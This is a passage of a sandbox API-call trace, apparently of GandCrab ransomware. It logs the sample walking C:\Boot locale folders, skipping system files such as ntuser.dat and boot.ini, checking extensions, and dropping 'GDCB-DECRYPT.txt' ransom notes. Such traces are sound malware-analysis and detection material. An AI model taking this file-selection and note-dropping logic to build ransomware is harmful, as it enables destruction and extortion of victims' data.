(lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.557] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0169.557] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0169.557] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0169.557] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0169.557] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.558] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.558] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.558] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.558] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.558] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.558] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned="C:\\Boot\\ru-RU\\memtest.exe.mui" [0169.558] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.558] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0169.558] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0169.558] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.558] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.558] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.558] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.558] lstrcmpW (lpString1="sk-SK", lpString2=".") returned 1 [0169.558] lstrcmpW (lpString1="sk-SK", lpString2="..") returned 1 [0169.558] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sk-SK" | out: lpString1="C:\\Boot\\sk-SK") returned="C:\\Boot\\sk-SK" [0169.558] lstrcatW (in: lpString1="C:\\Boot\\sk-SK", lpString2="\\" | out: lpString1="C:\\Boot\\sk-SK\\") returned="C:\\Boot\\sk-SK\\" [0169.558] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.559] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.559] lstrlenW (lpString="C:\\Boot\\sk-SK\\") returned 14 [0169.559] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="*" | out: lpString1="C:\\Boot\\sk-SK\\*") returned="C:\\Boot\\sk-SK\\*" [0169.559] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4c18 [0169.559] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.559] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.559] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.559] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.559] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.559] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.559] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.559] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned="C:\\Boot\\sk-SK\\bootmgr.exe.mui" [0169.559] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0169.559] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.559] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.559] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.559] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.559] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt" [0169.559] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0169.559] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.559] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.559] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.559] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.559] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sk-SK\\\\GDCB-DECRYPT.txt") returned 31 [0169.560] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sk-sk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.560] GetLastError () returned 0x50 [0169.560] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.560] lstrlenW (lpString="C:\\Boot\\sk-SK\\") returned 14 [0169.560] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="*" | out: lpString1="C:\\Boot\\sk-SK\\*") returned="C:\\Boot\\sk-SK\\*" [0169.560] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4dd8 [0169.560] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.560] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.560] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.560] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.560] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.560] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.560] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.560] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned="C:\\Boot\\sk-SK\\bootmgr.exe.mui" [0169.560] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.560] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0169.560] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0169.560] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.561] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.561] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.561] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.561] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt" [0169.561] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.561] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0169.561] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0169.561] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0169.561] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.561] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.561] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.561] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.561] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.561] lstrcmpW (lpString1="sl-SI", lpString2=".") returned 1 [0169.561] lstrcmpW (lpString1="sl-SI", lpString2="..") returned 1 [0169.561] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sl-SI" | out: lpString1="C:\\Boot\\sl-SI") returned="C:\\Boot\\sl-SI" [0169.561] lstrcatW (in: lpString1="C:\\Boot\\sl-SI", lpString2="\\" | out: lpString1="C:\\Boot\\sl-SI\\") returned="C:\\Boot\\sl-SI\\" [0169.561] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.562] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.562] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.562] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.562] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.562] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.562] lstrlenW (lpString="C:\\Boot\\sl-SI\\") returned 14 [0169.562] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="*" | out: lpString1="C:\\Boot\\sl-SI\\*") returned="C:\\Boot\\sl-SI\\*" [0169.562] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a49d8 [0169.562] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.562] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.562] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.562] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.562] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.562] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.562] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.562] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned="C:\\Boot\\sl-SI\\bootmgr.exe.mui" [0169.562] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0169.562] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.562] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.562] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.562] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.562] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt" [0169.562] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0169.562] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.562] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.562] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.562] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.563] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sl-SI\\\\GDCB-DECRYPT.txt") returned 31 [0169.563] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sl-si\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.563] GetLastError () returned 0x50 [0169.563] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.563] lstrlenW (lpString="C:\\Boot\\sl-SI\\") returned 14 [0169.563] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="*" | out: lpString1="C:\\Boot\\sl-SI\\*") returned="C:\\Boot\\sl-SI\\*" [0169.563] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4dd8 [0169.563] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.563] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.563] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.563] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.563] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.563] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.563] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.563] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned="C:\\Boot\\sl-SI\\bootmgr.exe.mui" [0169.563] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.563] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0169.563] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0169.563] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.564] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.564] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.564] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.564] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt" [0169.564] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.564] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0169.564] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0169.564] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0169.564] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.564] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.564] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.564] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.564] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.564] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.564] lstrcmpW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0169.564] lstrcmpW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0169.564] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-CS" | out: lpString1="C:\\Boot\\sr-Latn-CS") returned="C:\\Boot\\sr-Latn-CS" [0169.564] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS", lpString2="\\" | out: lpString1="C:\\Boot\\sr-Latn-CS\\") returned="C:\\Boot\\sr-Latn-CS\\" [0169.564] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.564] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.565] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.565] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.565] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.565] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.565] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\") returned 19 [0169.565] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-CS\\*") returned="C:\\Boot\\sr-Latn-CS\\*" [0169.565] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a49d8 [0169.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.565] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.565] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.565] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.565] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.565] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.565] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.565] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" [0169.565] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0169.565] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.565] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.565] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.565] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.565] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt" [0169.565] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0169.565] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.565] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.566] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.566] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.566] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" [0169.566] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0169.566] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.566] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.566] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.566] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.566] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sr-Latn-CS\\\\GDCB-DECRYPT.txt") returned 36 [0169.566] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sr-latn-cs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.568] GetLastError () returned 0x50 [0169.568] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.568] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\") returned 19 [0169.568] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-CS\\*") returned="C:\\Boot\\sr-Latn-CS\\*" [0169.568] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4c58 [0169.569] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.569] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.569] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.569] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.569] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.569] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.569] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.569] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" [0169.569] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.569] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0169.569] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0169.569] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.569] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.569] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.569] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.569] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt" [0169.569] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.569] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0169.569] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0169.569] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0169.569] lstrlenW 